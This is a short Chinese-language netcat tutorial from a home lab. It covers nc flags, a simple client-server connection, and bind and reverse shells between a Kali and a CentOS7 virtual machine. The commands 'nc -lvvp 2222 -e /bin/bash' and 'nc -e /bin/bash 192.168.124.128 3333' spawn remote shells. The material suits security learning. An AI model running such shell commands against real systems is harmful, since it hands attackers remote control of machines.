一、nc簡介
nc 被稱為瑞士軍刀netcat ,所做的就是在兩台電腦之間建立鏈接,並返回兩個數據流。
可運行在TCP或者UDP模式,添加參數 —u 則調整為UDP,默認為TCP
即可用在windows系統也可在linux系統,也可作用於二者之間,只是對應的命令有微微差異。
二、nc常用參數
- -l 開啟監聽
- -p 指定一個端口
- -v 顯示詳細輸出
- -e 指定對應的應用程序
- -n nc不要DNS反向查詢IP的域名
- -z 連接成功后立即關閉連接
三、建立C-S連接
3.1 環境:
目的在於實現client輸入的內容同樣顯示在server的終端上
client:CentOS7 192.168.124.128
server:kali 192.168.124.133
3.2 步驟:
在server端kali虛擬機上開啟監聽1234端口:
nc -lvp 1234
在client端虛擬機上執行如下命令后並隨便鍵入內容(如下圖所示):
nc -v 192.168.124.133 1234
server端收到相同內容:
四、正向反彈shell
4.1 環境:
目的在於實現kali的shell反彈到CentOS7的終端上,並可在CentOS7上執行命令操作kali
kali監聽端口、選擇對應的程序,CentOS7連接kali
CentOS7 192.168.124.128
kali 192.168.124.133
4.2 步驟:
在kali上執行:
nc -lvvp 2222 -e /bin/bash
在CentOS7上執行:
nc 192.168.124.133 2222
如上圖所示即為連接成功,下面嘗試執行命令
五、反向反彈shell
5.1 環境:
目的在於CentOS開啟監聽端口,然后kali自己將shell反彈給CentOS7,而無需CentOS7去連接kali
kali 192.168.124.133
CentOS 192.168.124.128
5.2 步驟:
CentOS7上開啟監聽3333端口,等待kali連接並反彈shell:
nc -lvp 3333
kali連接CentOS7並將shell反彈過去 :
nc -e /bin/bash 192.168.124.128 3333
反彈成功
所以正向彈shell是在靶機上監聽端口,-e程序,然后攻擊者連接
反向彈shell是在攻擊者電腦上監聽端口,然后靶機-e程序,連接攻擊者端口